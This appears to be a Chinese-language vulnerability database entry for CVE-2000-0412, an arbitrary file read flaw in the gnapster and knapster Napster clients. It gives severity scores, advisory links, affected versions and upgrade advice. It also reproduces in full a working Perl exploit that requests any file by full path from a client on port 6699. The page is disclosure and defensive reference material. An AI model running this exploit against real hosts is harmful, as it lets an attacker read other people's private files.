CVE-2000-0412
CVSS7.5
发布时间 :1999-05-01 00:00:00
修订时间 :2008-09-10 15:04:36
NMCOES    

[原文]The gnapster and knapster clients for Napster do not properly restrict access only to MP3 files, which allows remote attackers to read arbitrary files from the client by specifying the full pathname for the file.


[CNNVD]Gnapster及Knapster文件访问漏洞(CNNVD-199905-003)

        Napster的gnapster以及knapster客户端不正确限制仅对MP3文件的访问,远程攻击者可以借助指定文件全路径名读取客户端任意文件。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0412
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0412
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199905-003
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/1186
(UNKNOWN)  BID  1186
http://archives.neohapsis.com/archives/bugtraq/2000-05/0127.html
(UNKNOWN)  BUGTRAQ  20000510 Gnapster Vulnerability Compromises User-readable Files
http://archives.neohapsis.com/archives/bugtraq/2000-05/0124.html
(UNKNOWN)  BUGTRAQ  20000510 KNapster Vulnerability Compromises User-readable Files
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:18-gnapster.adv
(UNKNOWN)  FREEBSD  FreeBSD-SA-00:18

- 漏洞信息

Gnapster及Knapster文件访问漏洞
高危 访问验证错误
1999-05-01 00:00:00 2005-10-20 00:00:00
远程※本地  
        Napster的gnapster以及knapster客户端不正确限制仅对MP3文件的访问,远程攻击者可以借助指定文件全路径名读取客户端任意文件。

- 公告与补丁

        Upgrades for FreeBSD ports, and source patches, are available below
        John Donoghue Knapster 0.9
        
        Josh Guilfoyle Gnapster 1.3.8
        

- 漏洞信息 (19905)

John Donoghue Knapster 0.9/1.3.8 File Access Vulnerability (EDBID:19905)
unix remote
2000-05-13 Verified
0 no_maam
N/A [点击下载]
source: http://www.securityfocus.com/bid/1186/info

Various open source clones of the Napster software package have a vulnerability by which users may view files on a machine running a vulnerable Napster clone client. The file access is limited to files accessible by the user running the client. The official commercial version of Napster does not contain this vulnerability.

#!/usr/bin/perl       

######################################################################## 
#                                                                      #
#             Gnapster / Knapster "view any file" exploit              #
#                                                                      #
#  This script was originally written by no_maam on May the 13th 2000  #
#  and modified by Dennis (conrad.d@web.de) on May the 14th.           #
#                                                                      #
#  It exploits a bug in Gnapster prior to 1.3.9 discovered by          #
#  Jim Early on May the 10th 2000 and a bug in Knapster up to 0.10     #
#  discovered by Tom Daniels on May the 10th 2000.                     #
#  Due to a design error in Gnapster and Knapster it's possible to     #
#  view any file Gnapster / Knapster has access to because the         #
#  application fails to check that the requested file is an            #
#  explicitly shared MP3 file before providing it.                     #
#                                                                      #
#  NOTE: Both clients crashed very often while testing this script!    #
#                                                                      #
#  See Bugtraq ID 1186 at http://www.securityfocus.com for details.    #
#                                                                      #
#                     Standard disclaimer applies.                     #
#                                                                      #
######################################################################## 

use IO::Socket;

unless (@ARGV >= 2) {
    &args
}                                                                      

print " .: Gnapster / Knapster \"view any file\" exploit by no_maam and Dennis Conrad :.\n\n";

$host = $ARGV[0];
$file = $ARGV[1];
$file =~ s/\//\\/g; # Replace any / in filename with \                 

if ($ARGV[2] == "") {     #
    $port = 6699          # Use port 6699                              
} elsif ($ARGV[2] != ""){ # if none specified
    $port = $ARGV[2]      #                                            
}                     

if ($ARGV[3] eq "") {     #
    $name = "nobody"      # Use name "nobody"
} elsif ($ARGV[3] ne ""){ # if none specified
    $name = $ARGV[3]      #
}
    
$remote = IO::Socket::INET->new( Proto => "tcp",                       
                                 PeerAddr => $host,
                                 PeerPort => $port
                               ) || die " Couldn't open port $port on
$host\n";

$remote->autoflush(1);

sleep 2; # Wait two seconds (slow connection)

print $remote "GET$name \"$file\" 0\n"; # Get the file                 

while (<$remote>) {
    if ($_ =~ /FILE NOT FOUND/) { # Test is file exists
        print " File $file not found or the client has no permission so access it.\n";
        exit 1 # Return exit status 0 (for shellscripts)
    }
    
    if ($_ =~ /NOT SHARED/) { # Test for fixed version of Gnapster / Knapster
        print " Sorry, this is a fixed client\n";                      
        exit 1                   
    }                            
                               
    push @output, $_ # Write file to @output
}

print "\n@output\n"; # Print @output to STDOUT

close $remote;

exit 0;

sub args { 
    print " Usage: $0 <host> <file> [port] [name]\n"; 
    print " By default port 6699 and name \"nobody\" is used.\n";
    exit 1 
}   
    
# EOF		

- 漏洞信息

11875
Gnapster Absolute Path Name Request Arbitrary File Access
Remote / Network Access Input Manipulation
Loss of Confidentiality
Exploit Public

- 漏洞描述

Gnapster contains a flaw that may allow a malicious user to retrieve arbitrary files from a victim's computer because Gnapster fails to verify the shared status of files before sending them. The issue is triggered when a malicious user specifies the full path in a file request when using the GET command. It is possible that the flaw may allow arbitrary file retrieval resulting in a loss of confidentiality.

- 时间线

2000-05-10 Unknow
2000-05-10 Unknow

- 解决方案

Upgrade to version 1.3.9 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

Gnapster and Knapster File Access Vulnerability
Access Validation Error 1186
Yes Yes
2000-05-10 12:00:00 2009-07-11 01:56:00
A series of advisories were released on this topic to the Bugtraq mailing list between May 9 and 11th from Cerias and FreeBSD.

- 受影响的程序版本

Josh Guilfoyle Gnapster 1.3.8
- FreeBSD FreeBSD 4.0 alpha
- FreeBSD FreeBSD 4.0
- RedHat Linux 6.2 sparc
- RedHat Linux 6.2 i386
- RedHat Linux 6.2 alpha
- RedHat Linux 6.1 sparc
- RedHat Linux 6.1 i386
- RedHat Linux 6.1 alpha
John Donoghue Knapster 0.9
- RedHat Linux 6.2 sparc
- RedHat Linux 6.2 i386
- RedHat Linux 6.2 alpha

- 漏洞讨论

Various open source clones of the Napster software package have a vulnerability by which users may view files on a machine running a vulnerable Napster clone client. The file access is limited to files accessible by the user running the client. The official commercial version of Napster does not contain this vulnerability.

- 漏洞利用

Exploit available:

- 解决方案

Upgrades for FreeBSD ports, and source patches, are available below


John Donoghue Knapster 0.9

Josh Guilfoyle Gnapster 1.3.8

- 相关参考

     

     

    关于SCAP中文社区

    SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

    版权声明

    CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站